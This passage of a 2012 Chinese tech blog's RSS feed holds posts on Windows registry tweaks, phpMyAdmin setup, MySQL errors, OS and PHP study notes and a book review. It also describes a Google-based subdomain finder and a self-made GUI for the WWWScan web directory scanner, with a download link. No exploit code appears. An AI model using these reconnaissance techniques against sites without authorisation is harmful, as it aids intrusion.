&#34;IsolatedCommand&#34;=&#34;cmd.exe /c takeown /f \&#34;%1\&#34; /r /d y &amp;&amp; icacls \&#34;%1\&#34; /grant administrators:F /t&#34;
&lt;/pre&gt;
&lt;p&gt;复制好后选文件-另存为,保存类型选&amp;quot;所有文件&amp;quot;,文件扩展名为reg 然后运行即可。&lt;/p&gt;
&lt;p&gt;Win7下取消右键获取管理员权限方法：&lt;/p&gt;
&lt;pre lang=&#34;c&#34;&gt;
Windows Registry Editor Version 5.00
[-HKEY_CLASSES_ROOT\*\shell\runas]
[-HKEY_CLASSES_ROOT\exefile\shell\runas2]
[-HKEY_CLASSES_ROOT\Directory\shell\runas]
&lt;/pre&gt;
&lt;p&gt;同样的保存上面内容为reg格式文件即可。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Ubuntu 安装phpmyadmin</title>
      <link>http://blog.leaver.me/2012/04/21/ubuntu-%E5%AE%89%E8%A3%85phpmyadmin/</link>
      <pubDate>Sat, 21 Apr 2012 12:06:44 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/21/ubuntu-%E5%AE%89%E8%A3%85phpmyadmin/</guid>
      <description>&lt;p&gt;在&lt;a href=&#34;http://leaver.me/archives/196.html&#34;&gt;lamp环境搭建&lt;/a&gt;这篇文章中，使用apt-get安装了lamp环境，可能你会发现mysql命令行操作不方便。那么需要安装web版的phpmyadmin来辅助了。两步；
1.打开终端 输入&lt;/p&gt;
&lt;pre lang=&#34;c&#34;&gt;
sudo apt-get install phpmyadmin
&lt;/pre&gt;
&lt;p&gt;执行过程中我记得会让输入msql的密码。和设置phpmyadmin的密码。phpmyadmin的用户名是root
然后直接访问 http://localhost/phpmyadmin，会发现不能用。因为phpmyadmin被安装在了/usr/share/phpmyadmin/目录。&lt;/p&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre lang=&#34;c&#34;&gt;sudo ln -s /usr/share/phpmyadmin/ /var/www/&lt;/pre&gt;
&lt;p&gt;建立一个软连接，不喜欢的话，你也把phpmyadmin直接复制到 /var/www/的文件夹下面也可以。&lt;/p&gt;
&lt;p&gt;在Ubuntu下面就可以通过http://localhost/phpmyadmin正常使用phpmyadmin了。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Mysql ERROR 1064 (42000) 问题</title>
      <link>http://blog.leaver.me/2012/04/21/mysql-error-1064-42000-%E9%97%AE%E9%A2%98/</link>
      <pubDate>Sat, 21 Apr 2012 11:59:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/21/mysql-error-1064-42000-%E9%97%AE%E9%A2%98/</guid>
      <description>&lt;p&gt;昨天在lamp环境下写sql语句的时候，其中有一条语句是这样的，看着没什么错啊。。然后执行会报ERROR 1064这个错误。&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;create table book
(id unsigned primary key  auto_increment);
&lt;/pre&gt;
&lt;p&gt;后来解决了原来是是类型不全。必须写成&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;
create table book
(id int unsigned primary key auto_increment);&lt;/pre&gt;
&lt;p&gt;很诡异。。因为理论上unsigned应该是被识别成int unsigned。。还有其他一些情况，反正就是只要报1064.可能语法错误。可能是拼写。或者是分号，mysql的错误提示是很差的。如果把 auto_increment 自增属性加到非主键上。也会报1064的诡异错误。。&lt;/p&gt;
&lt;p&gt;参考：&lt;a href=&#34;http://stackoverflow.com/questions/2758649/unable-create-a-table-error-1064-42000-you-have-an-error-in-your-sql-syntax&#34;&gt;stackoverflow&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>二级域名查找 实现演示（GAPI&#43;Json&#43;C#）</title>
      <link>http://blog.leaver.me/2012/04/20/%E4%BA%8C%E7%BA%A7%E5%9F%9F%E5%90%8D%E6%9F%A5%E6%89%BE-%E5%AE%9E%E7%8E%B0%E6%BC%94%E7%A4%BAgapi-json-c/</link>
      <pubDate>Fri, 20 Apr 2012 08:23:24 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/20/%E4%BA%8C%E7%BA%A7%E5%9F%9F%E5%90%8D%E6%9F%A5%E6%89%BE-%E5%AE%9E%E7%8E%B0%E6%BC%94%E7%A4%BAgapi-json-c/</guid>
      <description>&lt;p&gt;　　　　昨天看到了李劼杰的&lt;a href=&#34;http://www.lijiejie.com/index.php/2-ways-to-get-subdomains/&#34;&gt;检索一个域名下属所有子域名的两种方法&lt;/a&gt;很受启发。想用C#实现一些东西，本来是打算做的相对完整一点的，结果发现Google 开放的api貌似是有限制，段时间内不同提交太多。所以就简单实现一下，有需要的朋友自己扩展&lt;/p&gt;
&lt;p&gt;　　　　刚开始的思路是想Google应该是有开放的api吧。。于是先Google C# 收集 Google搜索结果。翻了一会，看到了 &lt;a href=&#34;http://zhidao.baidu.com/question/143797250.html&#34;&gt;此文&lt;/a&gt; ，一看我去，返回的竟然是json格式。。只听过，从来没有接触过。。。不做总是不会的，试试。&lt;/p&gt;
&lt;p&gt;思路；访问该页面，得到字符串-》去掉多余部分-》解析成对象-》提取对象的字段
　　　　1.访问该&amp;lt;pre lang]&amp;ldquo;C#&amp;quot;&amp;gt;http://ajax.googleapis.com/ajax/services/search/web?v=1.0&amp;amp;q=hello&lt;/pre&gt;，其实hello部分就是需要查找的字串，对于查找二级域名这种事，应用到Google的一个语法就是site:leaver.me。类似这样的，可以获取到所有leaver.me上的子站和内容。。
然后分析json数据。直接访问会发现格式很乱。使用http://jsonformatter.curiousconcept.com/这个工具进行格式化。最终结果如图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20804_z.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/06ed49d2b62047555b3287b29255a3fcaa71d845.jpg&#34;&gt;&lt;/a&gt;
可以很清楚的看出json的结构，results是结果集，我需要的是需要的是[]之间的部分，包括[]，我理解的是这样。默认给出4个结果。&lt;/p&gt;
&lt;p&gt;　　　　2.要去掉多余部分，得用正则表达式了，&lt;/p&gt;
&lt;pre lang=&#34;java&#34;&gt; json = &#34;[&#34; + Regex.Match(json, @&#34;(?&lt;=\[).+?(?=\])&#34;, RegexOptions.IgnoreCase).Value + &#34;]&#34;;  //得到一个数组[]中间的部分&lt;/pre&gt;
&lt;p&gt;json解析我在外国找到了&lt;a href=&#34;https://json.codeplex.com/&#34;&gt;json.net&lt;/a&gt;这个解析器，导入什么的就不说了，至于用法我是看的他的文档&lt;/p&gt;
&lt;p&gt;　　　　3.&lt;pre lang=&#34;java&#34;&gt;List&lt;Result&gt; results = JsonConvert.DeserializeObject&amp;lt;List&lt;Result&gt;&amp;gt;(json); //list 存放解析的结果，result为对应自写类&lt;/pre&gt; 就是将一个json格式的字符串解析成一个list组，组内元素为一个对应的类，就是先分析json的格式。发现每个结果都有如下的格式&lt;/p&gt;
&lt;pre lang=&#34;java&#34;&gt; 
      public  string GsearchResultClass{ get; set; }
      public string unescapedUrl{ get; set; }
      public string url{ get; set; }
      public string visibleUrl{ get; set; }
      public string cacheUrl { get; set; }
      public string title: { get; set; }
      public string titleNoFormatting { get; set; }
      public string content { get; set; }&lt;/pre&gt;
&lt;p&gt;所以写一个类，来用于json数据的反序列号，其实就是解析啦。。这样通过对解析器的调用就能对应着吧json里面的值赋值给类对象了。&lt;/p&gt;
&lt;p&gt;　　　　4.完成后就得到了一个List&lt;Result&gt;对象。里面包含四个结果的所有信息，只要调用results[i].对应属性就可以了。这里分析后可知二级域名在visibleUrl里，所有就调用它。用到了HashSet这个模板。元素唯一不重复。&lt;/p&gt;
&lt;p&gt;最终效果：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20805_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;
　　　　写程序需要是处理边界情况。。感觉是。主要是我对json格式的解析很不清楚。。只能边学边做。。还有因为写之前没有规划好，打算写全一些，也没想好每个函数来干什么，结果导致后面很麻烦。竟然用了一个全局变量。。其实可以改的。还是算了，演示而已。而且。当时不太清楚google的限制。到达限制后会返回一个错误的结果，多次异常。不顾加强了调试代码的能力，也好。唉。矬人就是矬人啊。。&lt;/p&gt;
&lt;p&gt;源码下载：
[downloadicon href=http://pan.baidu.com/share/link?shareid=91790&amp;amp;uk=1493685990]Finder Demo[/downloadicon]&lt;/p&gt;</description>
    </item>
    <item>
      <title>WWWScan GUI版--WebScan</title>
      <link>http://blog.leaver.me/2012/04/18/wwwscan-gui%E7%89%88--webscan/</link>
      <pubDate>Wed, 18 Apr 2012 21:56:11 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/18/wwwscan-gui%E7%89%88--webscan/</guid>
      <description>&lt;p&gt;　　网上一直有个版本是Wscan Gui Beta6，首先感谢作者的无私奉献，写代码不容易啊。但是这个我不知道为什么在我的电脑上总是有一些错误。很多功能虽然加上了，但是其实对我有点多余。毕竟，我只是用这个扫描一下。于是，决定自己用C#做个GUI版，模仿实现一下。&lt;/p&gt;
&lt;p&gt;　　然后我看了一下目录结构。如下图所知
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20741_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1ab70fd66fde9efa08507a1d3930a4c4c9c4e53f.jpg&#34;&gt;&lt;/a&gt;
　　貌似作者只是简单写了。然后对应着调用扫描器。我想了下，可以通过修改文件名来实现，因为wwwscan默认只能识别cgi.list，那么我想的是当我选中一种扫描类型后。将对应的字典，比如asp.list改成cgi.list。当然为了保护原文件，复制。。然后调用。这样就不用有这么多exe了。。&lt;/p&gt;
&lt;p&gt;　　第二个我想实现作者的检测网站的脚本类型的功能，想到了两种方法。一种是循环访问index.xxx文件，xxx对asp jsp等，然后判断http状态码，200的话就可以对应判断出来网站脚本了。但是这样测试了一会没成功，还是算了，，然后想了一种猥琐流的方法，就是直接访问首页。然后把源码下载下来，然后搜索&amp;quot;.xxx&amp;quot;字符串，找到就行了，，当然这两种方法都是不完善的。。我也没想到什么完美的。。希望有人知道的话留言指教。&lt;/p&gt;
&lt;p&gt;　　最后的目录就清爽多了
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20742_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5a2532b3507acd9c4ddd6787249e87f588554c46.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　那个4p啊，，就是盲扫描了。。不知道网站脚本的时候采用。。。&lt;/p&gt;
&lt;p&gt;　　界面基本完全模仿了作者的UI，进行了略微调整，希望作者不介意。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20743_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d099861e804d120c52b106989f63254908490533.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　程序需要.net framework 3.5。。win7默认都有。不用担心。xp用户可以下载环境后使用。毕竟是扫描工具，国内那些2b杀软会报毒，不放心的去世界杀毒网自己扫描吧。千万不要用来干坏事，遵守我国相关法律法规。&lt;/p&gt;
&lt;p&gt;[downloadicon href=http://pan.baidu.com/share/link?shareid=83803&amp;amp;uk=1493685990]WebScan下载[/downloadicon]&lt;/p&gt;</description>
    </item>
    <item>
      <title>操作系统知识点汇总(下)</title>
      <link>http://blog.leaver.me/2012/04/18/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%9F%A5%E8%AF%86%E7%82%B9%E6%B1%87%E6%80%BB%E4%B8%8B/</link>
      <pubDate>Wed, 18 Apr 2012 15:09:44 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/18/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%9F%A5%E8%AF%86%E7%82%B9%E6%B1%87%E6%80%BB%E4%B8%8B/</guid>
      <description>&lt;p&gt;太长了，还是分成两篇。此为下&lt;/p&gt;
&lt;p&gt;同时到达的作业使用短作业优先平均周转时间最短。&lt;/p&gt;
&lt;p&gt;系统调用和一般过程调用的区别：
1.运行状态不同 用户态/和心态
2.进入方式不同 过程调用/访问管中断
3.代码层次不同 用户级/系统级&lt;/p&gt;
&lt;p&gt;周转时间=完成时间-提交时间&lt;/p&gt;
&lt;p&gt;平均带权周转时间=周转时间/执行时间&lt;/p&gt;
&lt;p&gt;存储器分配的三种方式：1.直接分配，2.静态分配（连续），3.动态分配（需要用到重定位）&lt;/p&gt;
&lt;p&gt;地址空间是逻辑地址的集合，内存空间是物理地址的集合&lt;/p&gt;
&lt;p&gt;分区存储管理的策略：
分配策略有：首次适应算法、循环首次适应算法、最佳适应算法、最坏适应算法。
a.首次适应算法的优缺点：保留了高址部分的大空闲区，有利于后到来的大型作业的分配；低址部分不断被划分，留下许多难以利用的、小的空闲区，且每次分区分配查找时都是从低址部分开始，会增加查找时的系统开销。
b.循环首次适应算法的优缺点：使内存中的空闲分区分布得更为均匀，减少了查找时的系统开销；缺乏大的空闲分区，从而导致不能装入大型作业。
c.最佳适应算法的优缺点：每次分配给文件的都是最适合该文件大小的分区；内存中留下许多难以利用的小的空闲区。
d.最坏适应算法的优缺点：给文件分配分区后剩下的的空闲区不至于太小，产生碎片的几率最小，对中小型文件分配分区操作有利；使存储器中缺乏大的空闲区，对大型文件的分区分配不利。&lt;/p&gt;
&lt;p&gt;内部碎片是指分配给作业的存储空间未被使用的部分，外部碎片是指系统中无法利用的小存储块。
页面置换算法：
1.最佳置换算法 永远不需要，最长的时间后才能访问的页面被调出
2.先进先出
3.最近最久未使用 传说中的LRU，最近一段时间内没被访问的页面被调出&lt;/p&gt;
&lt;p&gt;采用分段式不会产生内部碎片，虚拟存储器的最大容量是由计算的地址结构决定的&lt;/p&gt;
&lt;p&gt;页面的大小与可能产生缺页中断的次数成反比&lt;/p&gt;
&lt;p&gt;作业在执行中发生了缺页中断，经操作系统处理后，应让其执行被中断的指令&lt;/p&gt;
&lt;p&gt;段页式存储器管理系统中，内存等分成块，然后程序按照逻辑模块划分成若干段。&lt;/p&gt;
&lt;p&gt;先进先出页面置换算法会产生Belady现象&lt;/p&gt;
&lt;p&gt;回收分区后造成空闲分区-1的原因是有有上邻和下邻空闲分区&lt;/p&gt;
&lt;p&gt;执行过程不能被修改的代码称为可重入代码。。
请求分页存储器管理中，地址变换可能因为地址越界，缺页，访问存在权限错误而产生中断&lt;/p&gt;
&lt;p&gt;交换技术是以CPU时间为代价的&lt;/p&gt;
&lt;p&gt;段页式管理中，作业分段，段内分页，页内分块，每条访问内存的指令需要三步
1.通过段号查段表。。得到页表地址
2.通过页号查页表。。得到物理块号
3.物理块号+页内地址 访问真实地址&lt;/p&gt;
&lt;p&gt;固定分区分配和页式管理会产生内碎片，额可变分区和段式则产生外部碎片。&lt;/p&gt;
&lt;p&gt;输出输入控制方式
①程序I/O控制方式:适用于结构简单，只需少量硬件的电路；
②中断驱动I/O控制方式：适用于高效场合；
③直接存储访问DMA I/O控制方式：适用于无须CPU介入的控制器来控制内存与外设之间的数据交流的场合；
④I/O通道控制方式：适用于以字节为单位的干预，同时实现CPU，通道和I/O设备三者并行操作的场合。&lt;/p&gt;
&lt;p&gt;设备处理程序又称为设备驱动程序，其主要任务是接收来自上层的与设备无关的输入输出请求，进行与设备相关的处理&lt;/p&gt;
&lt;p&gt;通道又称为I/0处理机，用来实现内存与外设之间的信息传输。&lt;/p&gt;
&lt;p&gt;为了使多个进程能够更有效的同时处理输入和输出请求，最好使用缓冲池结构的缓冲技术&lt;/p&gt;
&lt;p&gt;缺页中断属于外部中断，Ctrl+C属于程序性中断&lt;/p&gt;
&lt;p&gt;设备分配时涉及到的主要数据结构设备控制表，控制器控制表，通道控制表，系统设备表&lt;/p&gt;
&lt;p&gt;从资源分配的角度可将I/0分为独享设备，共享设备，虚拟设备&lt;/p&gt;
&lt;p&gt;引入缓冲技术的原因：
1.缓和cpu和I/0之间的速度不匹配的矛盾
2.减少中断cpu的次数
3.提高cpu和I/o之间设备的并行性&lt;/p&gt;
&lt;p&gt;文件系统是指文件，管理文件的软件以及数据结构的总体&lt;/p&gt;
&lt;p&gt;文件系统的目的是为了实现对文件的按名存取。
逻辑文件的两种类型：记录式和流式&lt;/p&gt;
&lt;p&gt;二进制的那个位图表行号=（盘块号-1）/列数。
&lt;strong&gt;转载请注明：http://leaver.me/archives/328.html&lt;/strong&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>操作系统知识点汇总(上)</title>
      <link>http://blog.leaver.me/2012/04/18/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%9F%A5%E8%AF%86%E7%82%B9%E6%B1%87%E6%80%BB%E4%B8%8A/</link>
      <pubDate>Wed, 18 Apr 2012 14:56:32 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/18/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%9F%A5%E8%AF%86%E7%82%B9%E6%B1%87%E6%80%BB%E4%B8%8A/</guid>
      <description>&lt;p&gt;这两天为了考试看完了&lt;a href=&#34;http://book.douban.com/subject/1913490/&#34;&gt;操作系统习题与解析&lt;/a&gt; 写了一些笔记，然后今天整理成电子版，，我去。写完发现2500字了都.唉，苦啊。。顺序没有过多整理。也能加深印象，太长了，还是分成两篇。此为上
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20732_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/59b3749d2e8d723c6558ed6c851f50d1af8cf56d.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;操作系统的发展与形成：1.手工操作阶段，2.脱机输入输出阶段，3.批处理技术，4.多道程序设计技术。&lt;/p&gt;
&lt;p&gt;操作系统的基本类型：1.批处理，2.分时，3.实时。&lt;/p&gt;
&lt;p&gt;操作系统的特征：并发，共享，虚拟性，不确定性&lt;/p&gt;
&lt;p&gt;实时操作系统必须在规定时间内处理完来自外部的事件。。&lt;/p&gt;
&lt;p&gt;现代操作系统的两个基本特征是并发和共享&lt;/p&gt;
&lt;p&gt;内部命令是由系统定义的，常驻内存的处理程序的集合。&lt;/p&gt;
&lt;p&gt;操作系统的结构层次：
裸机-》cpu调度-》内存管理-》设备管理-》文件管理-》作业管理-》命令管理-》用户&lt;/p&gt;
&lt;p&gt;程序顺序执行的特征。顺序性。封闭性，可再现性。&lt;/p&gt;
&lt;p&gt;程序并发执行的特征：间断性，失去封闭性，不可再现性。&lt;/p&gt;
&lt;p&gt;进程的几个基本状态：就绪，执行，阻塞。&lt;/p&gt;
&lt;p&gt;引入进程的目的是使多道程序并发执行，以改善资源利用率，及提高系统吞吐量，而引入线程，则是为了减少并发执行所付出的时空开销，具有更好的并发性。&lt;/p&gt;
&lt;p&gt;每个进程中，访问临界资源的那段程序称之为临界区。&lt;/p&gt;
&lt;p&gt;进程互斥的准则；1.空闲放进，2.忙则等待，3.有限等待，4.让权等待&lt;/p&gt;
&lt;p&gt;管程：局部于管程的共享变量说明了对该数据结构进行操作的一组过程，以及局部与管程的数据设置初始值。&lt;/p&gt;
&lt;p&gt;P，V操作是低级进程通信原语。原语是对进程进行管理和控制的。进程不是指令的集合。&lt;/p&gt;
&lt;p&gt;创建原语的主要工作：向系统申请一个空闲PCB，并为创建进程分配必要的资源，然后初始化PCB，并插入到就绪队列。返回进程的标识号&lt;/p&gt;
&lt;p&gt;一个进程会唤醒，指的是进入就绪状态。&lt;/p&gt;
&lt;p&gt;资源分配的基本单位是进程，CPU分配的基本单位是线程。&lt;/p&gt;
&lt;p&gt;进程的基本特征：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;动态性：进程的实质是程序的一次执行过程，进程是动态产生，动态消亡的。&lt;/li&gt;
&lt;li&gt;并发性：任何进程都可以同其他进程一起并发执行&lt;/li&gt;
&lt;li&gt;独立性：进程是一个能独立运行的基本单位，同时也是系统分配资源和调度的独立单位；&lt;/li&gt;
&lt;li&gt;异步性：由于进程间的相互制约，使进程具有执行的间断性，即进程按各自独立的、不可预知的速度向前推进&lt;/li&gt;
&lt;li&gt;结构特征：进程由程序、数据和进程控制块三部分组成。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;进程之间的关系：同步和互斥&lt;/p&gt;
&lt;p&gt;m个进程访问临界资源，信号量的变化在1- （1-m）之间&lt;/p&gt;
&lt;p&gt;进程是由一个具有一定功能的程序关于某个数据集合的一次运行活动。&lt;/p&gt;
&lt;p&gt;调度的类型：
1.作业调度（也叫；宏观，高级，长程），是从外存调到内存然后进入竞争执行
2.进程调度（也叫：微观，低级，短程），取就绪状态的进程进入执行阶段
3.交换调度（也叫：中级，中程）是将外存中具备执行条件的进程调入内存或者相反&lt;/p&gt;
&lt;p&gt;调度的两种方法：1.剥夺方式，2.非剥夺方式&lt;/p&gt;
&lt;p&gt;进程调度的算法：1.先来先服务，2.最高优先权，3.时间片轮转，4.多级反馈。具体的课本上有。也可以看&lt;a href=&#34;http://www.cnblogs.com/fora/archive/2011/04/05/2006049.html&#34;&gt;此文&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;死锁的原因：1.资源不足。2.推进顺序不当&lt;/p&gt;
&lt;p&gt;形成死锁的必要条件：1.互斥，2.不剥夺。3.部分分配。4.环路等待。&lt;/p&gt;
&lt;p&gt;并非所有不安全状态就为死锁。但反之成立&lt;/p&gt;
&lt;p&gt;银行家算法其实很简单。就是规范化比较麻烦。&lt;a href=&#34;https://zh.wikipedia.org/zh-cn/%E9%93%B6%E8%A1%8C%E5%AE%B6%E7%AE%97%E6%B3%95&#34;&gt;看维基百科吧。&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;破坏资源互斥这个条件来避免死锁是不现实的。&lt;/p&gt;
&lt;p&gt;资源的按序分配
这种算法资源按某种规则系统中的所有资源统一编号（例如打印机为1、磁带机为2、磁盘为3、等等），申请时必须以上升的次序。系统要求申请进程：
1、对它所必须使用的而且属于同一类的所有资源，必须一次申请完；
2、在申请不同类资源时，必须按各类设备的编号依次申请。
这样申请的时候要么没有。要么全部分配，破坏了循环等待的条件&lt;/p&gt;
&lt;p&gt;调度算法中程序的相应比=1+等待时间/估计运行时间
操作系统提供给程序员的接口是系统调用
作业生存期的四个状态：1.提交。2.后备，3.开始，3.完成&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;转载请注明：http://leaver.me/archives/317.html&lt;/strong&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>php的一些知识点</title>
      <link>http://blog.leaver.me/2012/04/17/php%E7%9A%84%E4%B8%80%E4%BA%9B%E7%9F%A5%E8%AF%86%E7%82%B9/</link>
      <pubDate>Tue, 17 Apr 2012 17:37:18 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/17/php%E7%9A%84%E4%B8%80%E4%BA%9B%E7%9F%A5%E8%AF%86%E7%82%B9/</guid>
      <description>&lt;p&gt;一.php中单双引号的区别&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&amp;quot;&amp;quot; 双引号里面的字段会经过编译器解释，然后再当作HTML代码输出。&lt;/li&gt;
&lt;li&gt;&amp;rsquo;&amp;rsquo; 单引号里面的不进行解释，直接输出。
从字面意思上就可以看出，单引号比双引号要快了。单引号支持&#39;和\的转义，但其他一些转义字符就必须是在双引号里了。
例如：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre lang=&#34;php&#34;&gt;
$name=&#39;my name is bystander&#39;;
echo $name //结果是:my name is bystander
echo &#39;$name&#39; //结果是:$name
echo &#34;$name&#34; //结果是:my name is bystander
&lt;/pre&gt;
&lt;p&gt;二.require和include的区别
　　在于，出现错误时，require是error,也就是说脚本会停止执行，而include是warning。也就说说代码会继续执行，另外，无论require的位置如何。即使是放在一个if代码块里面。他也会将指定文件包含进来。。即使该if部分不执行。顺带说下include 和include_once。其实类似于c里面的ifdef。。就是只包含一次。不重复包含。&lt;/p&gt;
&lt;p&gt;三。php类
php类的构造函数命名为_construct.析构函数为_destruct，需要调用父类的构造函数时，使用parent::_construct()来调用&lt;/p&gt;
&lt;p&gt;四。pear包
PEAR是&amp;quot;PHP Extension and Application Repository&amp;quot;的缩写，也就是一个PHP扩展和应用的管理工具，
具体可参考：&lt;a href=&#34;http://www.berlinix.com/php_pear.html&#34;&gt;http://www.berlinix.com/php_pear.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;五。PDO
PDO(PHP Data Objects)扩展为PHP访问数据库定义了一个轻量级的、一致性的接口，它提供了一个数据访问抽象层，这样，无论使用什么数据库，都可以通过一致的函数执行查询和获取数据。PDO随PHP5.1发行，在PHP5.0的PECL扩展中也可以使用。其实就是一个访问数据库的一个类，连数据库的时候实例一个。调用方法就这样。前提是这个装好了。
linux下具体可以参考：&lt;a href=&#34;http://www.pkphp.com/2008/04/24/linux%E4%B8%8B%E6%89%8B%E5%8A%A8%E5%AE%89%E8%A3%85pdo_mysql/&#34;&gt;LINUX下手动安装PDO_MYSQL&lt;/a&gt;
window下和例子（例子也可以在linux下使用）参考此文：&lt;a href=&#34;http://blog.csdn.net/heiyeshuwu/article/details/1355970&#34;&gt;PHP5中PDO的简单使用&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;六。Zend&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;准确地讲 Zend 框架究竟是什么呢？Zend 框架具有以下特征：&lt;/li&gt;
&lt;li&gt;是基于 PHP 建立的。&lt;/li&gt;
&lt;li&gt;是面向对象的。&lt;/li&gt;
&lt;li&gt;使用 MVC 范例。&lt;/li&gt;
&lt;li&gt;具有开放源码贡献者。&lt;/li&gt;
&lt;li&gt;有贡献者负责保证他们的代码不是他人的知识产权。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通过建立 MVC 模式，Zend 框架的目标是使编程生活更加轻松，这不仅体现在通用领域，而且对您始终想要做的具体的事情也是如此，比如访问数据库或输出 PDF 文件。&lt;/p&gt;
&lt;p&gt;具体可参考：&lt;a href=&#34;https://www.ibm.com/developerworks/cn/opensource/os-php-zend1/&#34;&gt;理解 Zend 框架，第 1 部分: 基础&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;七。GD库
　　百科上的解释：　GD库，是php处理图形的扩展库，GD库提供了一系列用来处理图片的API，使用GD库可以处理图片，或者生成图片。 在网站上GD库通常用来生成缩略图，&lt;mark&gt;或者用来对图片加水印，或者用来生成汉字验证码，或者对网站数据生成报表等&lt;/mark&gt;。在PHP处理图像，可使用GD库，
　　如何检测Lamp是否已经有了GD库呢。将下面的代码&lt;pre lang=&#34;php&#34;&gt;&lt;?php phpinfo(); ?&gt; &lt;/pre&gt;
保存为phpinfo.php，然后传到服务器的网站目录下，在浏览器访问这个文件，如: localhost/phpinfo.php，然后找到一行为GD Support，后面如果是enabled，那就说明系统已经有了GD库
　　使用的例子可以参见官方一个例子，在指定的图片上添加文字。
例子参见：&lt;a href=&#34;http://www.php.net/manual/en/image.examples-png.php&#34;&gt;http://www.php.net/manual/en/image.examples-png.php&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;八。Smarty引擎
　　Smarty主要就是分离了前台和后台的实现。使得多人合作开发程序更加方便。因为前后台在代码上基本完全分离，一般实现就是一个模板文件，以tpl结尾，一个php文件。在tpl文件里面用变量来指示内容。而在php文件中将内容传递过去。来完成页面显示。
参考：&lt;a href=&#34;http://blog.csdn.net/phphot/article/details/2190534&#34;&gt;smarty安装及初级使用&lt;/a&gt;只看第一部分的例子即可。&lt;/p&gt;</description>
    </item>
    <item>
      <title>《PHP和MySQL程序设计》&amp; 《细说PHP》</title>
      <link>http://blog.leaver.me/2012/04/16/php%E5%92%8Cmysql%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1-%E7%BB%86%E8%AF%B4php/</link>
      <pubDate>Mon, 16 Apr 2012 22:04:41 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/16/php%E5%92%8Cmysql%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1-%E7%BB%86%E8%AF%B4php/</guid>
      <description>&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20636_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5e90de21e5b4fc73c2ddcbabdb6dc50e8a80ae2f.jpg&#34;&gt;&lt;/a&gt;
　　今天从早上到下午一使劲把&lt;a href=&#34;http://book.douban.com/subject/3693851/&#34;&gt;PHP和MySQL程序设计&lt;/a&gt; 这本书读完了。因为昨天读完了head first的那本php书。所以看这本书难度也不是很大。先对这本书整体评价一下。&lt;/p&gt;
&lt;p&gt;　　这本书我其实之前并没有在豆瓣上看看评论。豆瓣也不适合看这类专业书的评论。只是看到是第三版。说明这本书还是不错的。一般国内的专业书很少看到出过第二版的。。因为质量实在是太差了。选好书的一个方法就是看版本。。能出到第N版的都是有其可圈可点之处的。于是把这本书拿来就看。&lt;/p&gt;
&lt;p&gt;　　书从头看到尾。我只能说大叔把代码贴的太多了。但是好&lt;span style=&#34;color: #ff0000;&#34;&gt;&lt;span style=&#34;color: #000000;&#34;&gt;事情&lt;/span&gt;就是代码给出了执行结果&lt;/span&gt;。这基本上方便了我直接看代码。文字部分跳过一些。但是，大叔，我也是人啊。 你把代码贴这么多。。函数给这么全。这也记不住啊。而且书也并不是有个循序渐进的过程。对比昨天看的head first的书。深深体会到一本好的入门书是多么重要啊。这本书并不如它的宣传那样适合新手读。很多地方都用了结果还没解释。到后面又开始解释。完全无条理。。&lt;span style=&#34;color: #ff0000;&#34;&gt;最最重要的是错误太多了。。&lt;/span&gt;&lt;/p&gt;
